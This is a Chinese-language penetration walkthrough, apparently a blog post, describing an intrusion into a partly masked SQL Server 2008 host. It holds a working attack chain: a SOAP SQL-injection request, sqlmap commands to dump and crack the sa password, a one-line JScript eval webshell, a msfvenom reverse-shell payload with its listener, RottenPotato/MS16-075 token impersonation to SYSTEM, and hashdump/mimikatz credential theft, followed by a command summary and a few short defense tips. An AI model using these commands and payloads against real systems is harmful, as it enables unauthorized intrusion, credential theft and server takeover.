soap註入某sql2008服務器結合msf進行提權
simeon
在實際成功×××過程中,漏洞的利用都是多個技術的融合,最新技術的實踐,本次×××利用sqlmap來確認註入點,通過sqlmap來獲取webshell,結合msf來進行ms16-075的提權,最終獲取了目標服務器的系統權限。本文算是漏洞利用的一個新的拓展,在常規Nday提權不成功的情況下,結合msf進行ms16-075成功提權的一個經典案例。
1.1.1掃描soap註入漏洞
1.使用awvs中的web services scanner進行漏洞掃描
打開awvs,選擇web services scanner進行漏洞掃描,如圖1所示,在wsdl url中填寫目標url地址,註意一定是asmx?wsdl,有的是有asmx文件,如果沒有則可以直接填寫,例如:http://1**.***.***.***:8081/?wsdl。
圖1進行soap註入漏洞掃描
2.處理sql盲註
通過awvs掃描,確認該url地址存在sql盲註(26處),在awvs中,單擊右邊的“view http headers”,將其內容復制到一個文本文件中,同時處理存在漏洞的語句,在本例中例如:<urn:string>-1' OR 3*2*1=6 AND 000223=000223 or 'gPireHft'='</urn:string>
需要將紅色字圖部分更換為”-1*”。
3.完整的header包中內容如下:
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/ZcpdList"
Content-Length: 716
X-Requested-With: XMLHttpRequest
Referer: http://1**.***.***.***:8081/?wsdl
Host: 1**.***.***.***:8081
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/" xmlns:urn2="http://tempuri.org/AbstractTypes">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:ZcpdList>
<urn:Inventory_dhs>
<urn:string>-1*</urn:string>
</urn:Inventory_dhs>
</urn:ZcpdList>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Response
1.1.2確認soap註入漏洞
1.使用sqlmap檢測是否存在sql註入漏洞
將前面的header中的內容保存為1**.***.***.***.txt,將該文件復制到sqlmap.py程序所在目錄,執行命令:sqlmap.py -r 1**.***.***.***.txt,對sqlmap提示的信息進行確認:
custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q]y
如圖2所示,sqlmap確認該sql註入漏洞存在,且該數據庫服務器為windows 2008 R2,數據庫版本為sql server 2008,soap存在漏洞為union查詢。
圖2 存在soap註入漏洞
2.查看數據庫是否dba權限
(1)自動提交參數進行測試
如圖3所示,執行命令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch後,也要兩次確認y,由於使用了參數“batch”,sqlmap會自動進行提交判斷值。
圖3自動提交參數進行判斷
(2)獲取當前數據庫使用的用戶是dba賬號。
如圖4所示,在sqlmap中獲取當前用戶是dba,顯示結果為true。該結果表明數據庫是使用sa權限,可以通過os-shell參數來獲取webshell。
圖4判斷是否為dba賬號
3.獲取sa賬號密碼
如圖5所示,使用命令sqlmap.py -r 1**.***.***.***.txt --password --batch直接獲取該數據庫連接的所有賬號對應的密碼值:
圖5獲取sa賬號密碼
4.破解sa賬號密碼
在前面通過sqlmap成功獲取其數據庫密碼哈希值:
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838
[*] ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c
[*] sa [1]:
password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28
將sa對應的密碼值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com進行查詢,如圖6所示,其解密結果為“qaz123WSX”。
圖6解密sa密碼哈希值
1.1.3通過--os-shell獲取webshell
1.獲取os-shell
在sqlmap中執行命令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap執行窗口中確認信息:
custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] y
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
也可以執行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch命令不用手工輸入。
2.尋找web程序所在目錄
(1)查看文件及目錄
執行dir c:\命令後,可以查看c目錄及文件,繼續查看“dir c:\inetpub\wwwroot”如圖7所示,在該文件夾中無web程序,排除該目錄。
圖7查看文件及目錄
(2)獲取網站真實目錄
通過依次查看c、d、e、f盤,在e盤獲取疑似網站程序文件,使用命令進行查看dir e:\software\AMS_NoFlow,如圖8所示。
圖8查看網站文件
3.測試網站真實目錄
(1)生成文件測試
如圖9所示,使用echo命令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在網站根目錄下生成t.txt文件。內容為thisis test。
圖9生成文件
(2)網站訪問測試
在瀏覽器中輸入地址http://1**.***.***.***/1.txt進行測試,如圖10所示,獲取內容跟預期一致,該目錄為網站真實物理地址。
圖10網站訪問測試
4. 獲取web.config配置文件內容
在os-shell中,執行type e:\software\AMS_NoFlow\web.config命令查看web.config文件中的內容,在sqlmap命令窗口由於設置問題,可能無法查看其完整的內容,不過sqlmap在其output目錄下,會保持詳細情況,如圖11所示,打開其log文件,可以看到其sa賬號對應的密碼為qaz123WSX,跟前面破解的sa密碼一致。
圖11查看web.config配置文件內容
5.獲取ip地址信息
如圖12所示,在os-shell中執行ipconfig命令,即可獲取該目標的IP地址配置情況,該目標對外配置獨立外網IP和內網IP地址,在os-shell中還可以執行其它命令。
圖12獲取IP地址
6. 獲取webshell測試
(1)生成shell文件
在os-shell中執行命令:echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx
如圖13所示,回顯結果顯示1,無其它信息,表面生成文件命令成功。
圖13 生成webshell
(2)獲取webshell
使用中國菜刀後門管理工具,創建記錄http://1**.***.***.***/cmd.aspx,一句話後門密碼:pass,如圖14所示,連接成功,成功獲取webshell。
圖14獲取webshell
1.1.4常規方法提權失敗
1.生成系統信息文件
在os-shell中執行命令:systeminfo > SYD1-0081DSB.txt
2.下載Windows-Exploit-Suggester程序
Windows-Exploit-Suggester下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3.更新漏洞庫並進行漏洞比對
在python中執行windows-exploit-suggester.py -u進行更新,同時對漏洞庫進行比對:
windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如圖15所示。
圖15進行漏洞比對
4.查看漏洞情況
在C:\Python27目錄打開SYD1-0081DSB-day.txt文件,如圖16所示,可以看到程序判斷該操作系統為windows 2008 R2版本,且存在多個漏洞,最新漏洞為ms16-075。
圖16查看漏洞情況
5.對存在的漏洞進行提權測試
按照漏洞編號,查找並整理exp文件,在目標服務器上進行提權測試,除ms16-075exp外,測試均失敗,無法提權。
1.1.5借助msf進行ms16-075提權
1.使用msf生成反彈×××
在msf下面執行命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe
其中windows/meterpreter/reverse_tcp反彈端口類型,lhost是反彈連接的服務器Ip地址,註意該ip地址必須是獨立服務器,或者必須是外網端口映射,換句話說,就是反彈必須能夠接收,lport為反彈的端口,4433為生成的程序。
2.在監聽服務器上執行監聽命令
(1)啟動msf
msfconsole
(2)配置meterpreter參數
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.33
set LPORT 4433
exploit
3.上傳4433.exe程序到目標服務器及執行
將4433.exe文件上傳到目標服務器,並通過中國彩刀或者os-shell進行執行。
4.查看系統信息
如圖17所示,目標反彈到監聽服務器上,執行sysinfo,獲取其系統信息。
圖17獲取系統信息
5.使用meterpreter自帶提權功能失敗
在meterpreter中分別執行getuid和getsystem命令,如圖18所示,未能成功提權。
圖18使用默認meterpreter提權失敗
6.使用ms16-075進行提權
(1)ms16-075可利用exp下載
https://github.com/foxglovesec/RottenPotato
(2)上傳potato文件
通過webshell上傳potato.exe文件,或者在msf下面執行命令上傳:
upload /root/potato.exe
(3)獲取系統權限
依次執行以下命令:
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
如圖19所示,成功獲取系統權限。
圖19獲取系統權限tokens
(4)獲取系統權限
分別執行命令:
impersonate_token "NT AUTHORITY\\SYSTEM"
getuid
如圖20所示,成功獲取系統權限。
圖20獲取系統權限
(5)獲取密碼
在meterpreter下執行命令:run hashdump命令,如圖21所示,成功獲取該服務器密碼哈希值:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
圖21獲取密碼
在本例中還是用load mimikatz進行明文密碼獲取,但獲取效果不理想,執行命令:
kerberos、livessp、msv、ssp、tspkg、wdigest獲取不到明文密碼,還可以執行命令mimikatz_command,進入mimikatz命令提示符下進行操作。
(6)破解ntml密碼
將ntml密碼哈希值a59a64a645487c1581dea603253c7920復制到cmd5.com進行破解, cmd5需要付費,還可以到:
http://www.objectif-securite.ch/en/ophcrack.php和https://www.somd5.com/網站 進行密碼破解,如圖22所示,成功破解密碼。
圖22破解ntlm哈希值
7.登錄服務器
通過nmap -sS -Pn -A 1**.***.***.***或者masscan -p 1-65535 1**.***.***.***進行端口掃描,發現該服務器開放3389端口,使用mstsc進行登錄,如圖23所示,成功登錄該服務器。
圖23成功登錄服務器
1.1.6總結與防禦
1.本次×××主要命令匯總
(1)sqlmap執行命令
sqlmap.py -r 1**.***.***.***.txt
sqlmap.py -r 1**.***.***.***.txt --is-db
sqlmap.py -r 1**.***.***.***.txt --password --batch
sqlmap.py -r 1**.***.***.***.txt --os-shell
(2)os-shell下執行命令
ipconfig
dir c:/
echo "thisis test">e:\software\AMS_NoFlow\t.txt
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx
(3)msf下執行命令
生成反彈×××:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe
(4)msf啟動及監聽
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.33(實際為外網IP地址)
set LPORT 4433
exploit
(5)ms16-075提權命令
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
getuid
(6)獲取密碼
run hashdump
(7)mimikatz進行密碼獲取
load mimikatz
kerberos、livessp、msv、ssp、tspkg、wdigest(逐個命令測試,有的會顯示明文密碼)
mimikatz_command:mimikatz命令提示窗口
(8)mimikatz命令行下獲取密碼(未做測試)
privilege::debug
sekurlsa::logonpasswords
2.×××總結
在本次×××中,通過sqlmap進行soap註入測試,通過sqlmap判斷sql註入點可用,後續通過os-shell成功獲取了webshell。獲取webshell後,嘗試通過常規的Nday提權方法,結果失敗,後續通過msf配合進行ms16-075進行提權。Windows-Exploit-Suggester進行本地漏洞的判斷和測試效果還是可以的,通過其審計,使用最新漏洞進行提權,基本命中率在99%。
3.安全防禦
成功×××該服務器後,在該服務器上未發現有任何安全防護軟件,筆者根據經驗,建議做如下安全防禦:
(1)對soap參數進行過濾,過濾危險的一些導致sql註入的參數。
(2)mssql數據庫使用低權限用戶進行數據庫連接。
(3)服務器定期進行補丁更新升級。
(4)安裝殺毒軟件、waf及硬件防火墻,增加×××成本和難度
更多有關sqlmap精彩技術文章,請訂閱http://blog.51cto.com/cloumn/detail/3
soap註入某sql2008服務器結合msf進行提權